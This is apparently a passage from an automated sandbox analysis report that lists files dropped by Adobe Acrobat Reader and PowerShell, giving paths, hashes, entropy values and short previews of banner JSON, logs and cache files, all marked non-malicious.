Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.338555392600741
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfzdPeUkwRe9:YvXKX/1UitookGb8Ukee9
MD5:	784F49EAE236A38D7FF89904C2827FC4
SHA1:	69F527DD5D384D3D7B5D7AAC241B21286FCBC8A0
SHA-256:	E01D3E8E259CF9528A325ACD0EF58C199D13DC33FEFEACAFE98E1AD55F517690
SHA-512:	8EEFAF4729CE6A09C6AA0E5BB63C59471DED262347B779E5153392E1CF8FBA54E8140699502C934FB20690096D3FCF36484981C02E29A20B461943A862758AB0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318991557420308
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfYdPeUkwRe9:YvXKX/1UitookGg8Ukee9
MD5:	111BB962AE6E4854CC4DF6004337920A
SHA1:	629511E0348B3DBBBBDA8599A0AA4177CF01B4FA
SHA-256:	B6056945CE4CCBA1FC071DCAB25E51E58E0633E271A3570A76D6E21CF7875AA7
SHA-512:	9D503D4D2C993203FE3A024BA934DA7DDF8B5E81E727DBE753B77365727FF1649FD0375C0811103DC75A9B3323FFDAAB6DBC1B87630E16D2B828120D2D4AC75D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.305376288648469
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJf+dPeUkwRe9:YvXKX/1UitookG28Ukee9
MD5:	811091E8FEF9C334C03036E37FC17039
SHA1:	86C5ADDF50E40A54572DB5D07D799E895A5E5270
SHA-256:	D820C56E54D6BE23ADE7D4BA6D94B1EE07B95349A8CA706C604370F9EE8E9CAE
SHA-512:	BBF06E98ECDF1E39B26E92A374C9306379E7AA2156658F30801E81AE9FD127CEADE98D7C540A6425574CD33F89DEA5C3C61F3E2DB1EB065A872309BF3764F8D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.302408128926333
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfbPtdPeUkwRe9:YvXKX/1UitookGDV8Ukee9
MD5:	1524E4E89529B1B05ABE3B45D85B6638
SHA1:	08B2B318C374AEE22BF886FD8522DE4F2E149236
SHA-256:	E690FABD9E8566324D701908360480BCA3620BE62FC0F1B9A6E272B87174D022
SHA-512:	A94B6427BD51CF4E84A554994535BA4EF0B6D88F61BE9ABE459EC29C20641664C43FB93B53DF7A7F30867235E5FB4C5493D24817EF267664D755A35B62F8A373
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.303694469635039
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJf21rPeUkwRe9:YvXKX/1UitookG+16Ukee9
MD5:	7A4986A0A1F27894C05286572F4C1BEA
SHA1:	4DDF47DC3A805B3284577CB215F13C68CB036836
SHA-256:	6F32554ED3C00B5746038C4476606FCCF9B3C41AE8ACA27DCF9FAC2ECD930A38
SHA-512:	C875DF6462DF8CC17C07E35D47B141CC4332AE85E6321F889A231686E3D696B71A1F54CAFD4A85EE42346DF732167068E3C9C623BA066E097D4E1AC87A6C2FB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669431273731902
Encrypted:	false
SSDEEP:	24:Yv6X/D6ohamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSE:YvE6otBgkDMUJUAh8cvME
MD5:	1D4A6F0913164F2223D4A5403737E9C7
SHA1:	6D6D3C9530B2EAE6323A511040317B27A630F6BE
SHA-256:	1A97E90336AE27956EFBB1CF0BFD0B08AC2EB4262BAF52270868A441597E4CDF
SHA-512:	CD7C742D65F091FC0D1017517EC3B9F20033A46ADB43647BB291F15408E690A97E7C21BFE901C3D08EBC3E65368236C3855F2E12612864AC9557BD01FD166CD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.281019692358257
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfshHHrPeUkwRe9:YvXKX/1UitookGUUUkee9
MD5:	A5E8224A668D78F164BB0ABD501E7990
SHA1:	B66012C07A5C3C074F2121321CB865EB4BF9DFF5
SHA-256:	11D74AD5CC231B33E1042384FF8A696B55C297FBD7A16465C7C136ACA9BE6FD4
SHA-512:	3C65168DFF5819FFBD0E4648BC20879C898448C91200B3183A28E5EE3DBB6E7650A8CBDE9219C635321D86DF7B453B5D16E31D879B1B31EFE35895BE06FE423C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.277920190464952
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJTqgFCrPeUkwRe9:YvXKX/1UitookGTq16Ukee9
MD5:	896BDD4A5C6D73CE9A9C29901BF66E31
SHA1:	B0C0375E885C4F5849FFB520CCFA691B7CCBF73B
SHA-256:	A2DB3BA2B3BAFB021D4648A06D127B03E99896F622C2D4C504CA01EC22B49ABB
SHA-512:	99994E18CC2530727093CBB6E121597B05515D2D9B554B68011094EAF6A5034FB9824F41E0C42D65F12F50988EFE573C89C0D3D8CDA22F212EED44156C2C28F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133967755416633
Encrypted:	false
SSDEEP:	24:Ya2T1FJna/aymJg8rBJRJESVOJqYKaJk/kFJZ+cmFJT+iJcjCqE9j0SYJSrpJ/2D:YaglVbp1pXwmX6PLrwwOZF2bi9I
MD5:	3F075032C7D237B6BA28587B2E650C46
SHA1:	7ADC2181FD1C59827EB13DC6CE44AB683C1B1F8F
SHA-256:	56B340A05B106BF393B0D7E96F59D20DEF41C529B12A25080A759461D6C07D6A
SHA-512:	5A94C5C5F893F8C14BD3D5A8CBB025022F1CBBDB8B7C0C4BC93897419B083102A8231AEC83A198E70B8AEE35B5745CF58659758D8ADB87DEDE0945C19DB844D5
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2301b8c0b845defd0b387ee1ca57dbf5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736545900000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e26de1004ae7ee9e01430bc83082a539","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736545900000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"af3de172517319ef56843c0be9abd91e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736545900000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7fe5b71cdc13c9f2a23284ced6e965f7","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736545900000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3c1cd3c2575528d1c52cacebef7bbb26","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736545900000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ae5b856944c7ce6c7b3af611ab294a4a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4566181958317281
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2ALviuFuI7PV:/VmsrhoGgt5ZgGp7t
MD5:	08E658AB9A91314F1623DB57641E3525
SHA1:	89BF5BC8FFCBFC9403B84799E07E1D80C1F85890
SHA-256:	EB995D750D09181E36F9E4668A187CDBF33B410ADBFFEE56432C695B5E57135F
SHA-512:	F4BDB65F32A0968EB2AFC5F4925FA9F308AC90FACF032C8DEE60679CDA60A092FA697576ACF6340795D94C29C902214DE7EB507ECBD4EA13E9176C8C3AF5B63B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.962006047869175
Encrypted:	false
SSDEEP:	48:7M5hoGgpP5ZgrI2vLviuFuI7PehUqVl2GL7ms1:7whoGgt5Zgzp72hUaVms1
MD5:	BFFF10CC4DE68B068F2FAD06EA309630
SHA1:	326AAC5208C8ABD47388248A26F5D4BBFA6EF936
SHA-256:	DB58276B59C48A6686A85B90BF660B5B4FFCFA9B5FAF344009EEE76E5E863C45
SHA-512:	BF12F945312D974A9CAD19BA6C38A4D090B4D157A9F1B3AFC72466EABABB1BFBCF2EACB3BA0DE70347B5F4AE683D867453CF219914FAF6D94506ED0956BE6157
Malicious:	false
Preview:	.... .c.....+.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgopP4MUKEY1LJdW0h7ENkOQ9KVhYyu:6a6TZ44ADEopg1G1LJnOQ9KhK
MD5:	B63AB9C46E1164AC3C18D66F9393DD5C
SHA1:	82DBD6DFB4AFAB5ECA6ABC156A818ECF31B27607
SHA-256:	1654704A7171FD484DC02BF853EC3C70E168CF24080DCBF012446B13AFA40761
SHA-512:	8F329858D0D624098951223B7C6A10B985730DD9A6DF82B6CA2D5C8E5B9C8DE449CC16F2121008F6D2112F94183B17246D42125C0C4EF17E96554BF13ACEFC74
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulFgtj:NllUa
MD5:	E986DDCA20E18C878305AA21342325F6
SHA1:	AE6890EE7BB81A051A4F4079F549DEBCCE0F82C9
SHA-256:	9624DAA47DF80C2229877179550D8373CAEEEAE25A8123698D7A516AD455DD15
SHA-512:	8B0CD5C1F0BAECA299669D6A0CB74F9315E90B05EDEA16C92B92D9927D3D07225AC5DAE9941CF339E1CED349BA8129F56F118CF89AB86CF8DAAAFFDB8EC8B56D
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSId78c1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNYGKw:Qw946cPbiOxDlbYnuRK+bDrNsw
MD5:	3C30F04C79073B9AC0BDC3A4821A11FA
SHA1:	E6EB4896FB41623F0541F25CEA143D951D475016
SHA-256:	FA70B0F4A28FB82BDB4F6AEA618A3D7DA749C74A644AFA1B8AB3805F1519F5E6
SHA-512:	71C68079ED4CD77C292742AB9D9A36C55B36ECE12FDDD820EBD7FD8FF67DF5E2E49EB0EBF564CA22464BE67E16C0017F73093D6C2F4CABFEB2526AF4D87BE011
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.5.1.:.3.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iqmas0t4.yqc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vbwuflgm.25n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-51-33-444.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360225973776925
Encrypted:	false
SSDEEP:	384:4YG1egPlmnJlnPCJOHspMyJ4cHupP0sTCx5lX/Pu7BfcO85OQE1EF8OQIVYv9EEH:a6F
MD5:	B824964449F587432FB68E82F9E0F0F5
SHA1:	AD065FD358A405EAF9D86B8589E749B785A8DCBD
SHA-256:	752DC2F713FD65E0AC547F034F8C8F972A6AC92F1C8C156A61B0637CDFC3E201
SHA-512:	768B2CB93153AB27DA11C4328C1DD647376F281AC4C8D466D67F9C2F7227F0111CD2AC27F8F2BB7E64569E99966E9F7FD3E419806649DFFC0FC56B1DF49CDCE3
Malicious:	false
Preview:	SessionID=f84eccce-2fac-4ef5-a81a-96c71bdf7505.1736545893468 Timestamp=2025-01-10T16:51:33:468-0500 ThreadID=1856 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f84eccce-2fac-4ef5-a81a-96c71bdf7505.1736545893468 Timestamp=2025-01-10T16:51:33:470-0500 ThreadID=1856 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f84eccce-2fac-4ef5-a81a-96c71bdf7505.1736545893468 Timestamp=2025-01-10T16:51:33:470-0500 ThreadID=1856 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f84eccce-2fac-4ef5-a81a-96c71bdf7505.1736545893468 Timestamp=2025-01-10T16:51:33:470-0500 ThreadID=1856 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f84eccce-2fac-4ef5-a81a-96c71bdf7505.1736545893468 Timestamp=2025-01-10T16:51:33:470-0500 ThreadID=1856 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.393599375445134
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbnacbYIdJcb9:2PLH8FVfpBJnYj1dC
MD5:	0A49FED712DBB1DCCB2CF04AB74ACD2D
SHA1:	0058E441B9DE680E38124F938279A6ADE1A224F0
SHA-256:	B02FEAFC1539102A190414DD646098A6B7EAC1DDC18BDFF7B0D57DEECBF9F5AF
SHA-512:	4C73716F96EC5C26A962AFB6AC287811770BEC20695794CCE3D324F6EEC6618D6CC31870EE5D48629CFD02C990B52BA6349AA5962B1737D0A4823A9775283A05
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5ddbbe7b-1b4e-45af-a7e9-3c700f762a70.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWLkwYIGNPe7oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLkwZGtYGZn3mlind9i4ufFXpAXkru
MD5:	698338556E412AD558B6DDD8A7577646
SHA1:	26E65A1506B61546730111F62619156C3BBE2F1C
SHA-256:	47B720760C0DB8FCD207439B5B3EAB196ADCB8D95D2808DF7613C367B9985047
SHA-512:	0DB3610258BBE87281F224B79AB9AB346E1BCE003AAE13106DE0E54D455CBCCFBE424DE91C2A6ADEE6F5A4793DB944CBA848C94BC85CAEA4A0162D98DADCB515
Malicious:	false
